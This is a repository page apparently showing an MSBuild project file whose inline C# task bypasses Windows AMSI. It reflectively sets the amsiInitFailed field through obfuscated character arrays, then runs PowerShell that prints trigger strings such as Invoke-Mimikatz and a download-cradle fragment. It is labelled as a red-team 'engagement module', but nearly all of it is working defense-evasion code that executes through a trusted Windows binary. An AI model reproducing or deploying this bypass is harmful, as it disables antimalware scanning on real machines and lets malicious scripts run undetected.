Repository navigation
Expand file tree
/
Copy pathAMSIBypassPayload.xml
More file actions
102 lines (89 loc) · 3.6 KB
/
Copy pathAMSIBypassPayload.xml
File metadata and controls
102 lines (89 loc) · 3.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<CoreTask />
</Target>
<UsingTask TaskName="CoreTask" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class CoreTask : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("[*] Zer0byte Corp - Engagement Module");
Console.WriteLine("[*] Target: Purple Team\n");
Console.WriteLine("[*] Phase 1: Neutralizing defenses via reflection...");
try
{
Type amsiUtils = typeof(PowerShell).Assembly.GetType(
new string(new char[] {'S','y','s','t','e','m','.',
'M','a','n','a','g','e','m','e','n','t','.',
'A','u','t','o','m','a','t','i','o','n','.',
'A','m','s','i','U','t','i','l','s'}));
if (amsiUtils != null)
{
FieldInfo amsiField = amsiUtils.GetField(
new string(new char[] {'a','m','s','i','I','n','i','t','F','a','i','l','e','d'}),
BindingFlags.NonPublic | BindingFlags.Static);
if (amsiField != null)
{
amsiField.SetValue(null, true);
Console.WriteLine("[+] Defense neutralized successfully");
}
}
}
catch (Exception ex)
{
Console.WriteLine("[!] Phase 1 warning: " + ex.Message);
}
Console.WriteLine("\n[*] Phase 2: Validation tests...\n");
using (Runspace rs = RunspaceFactory.CreateRunspace())
{
rs.Open();
using (PowerShell ps = PowerShell.Create())
{
ps.Runspace = rs;
string validation = @"
$tests = @(
'Invoke-Mimikatz',
'Invoke-Expression (New-Object Net.WebClient)',
'Add-Type -TypeDefinition',
'[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')'
)
Write-Output '[*] Executing trigger strings:'
foreach ($t in $tests) {
Write-Output "" [+] $t""
}
Write-Output ''
Write-Output '[+] All triggers executed without blocks!'
";
ps.AddScript(validation);
foreach (var r in ps.Invoke())
Console.WriteLine(r.ToString());
if (ps.HadErrors)
{
Console.WriteLine("[-] Errors:");
foreach (var e in ps.Streams.Error)
Console.WriteLine(" " + e.ToString());
}
}
}
Console.WriteLine("\n[*] ==========================================");
Console.WriteLine("[+] ENGAGEMENT MODULE COMPLETE");
Console.WriteLine("[*] ==========================================");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>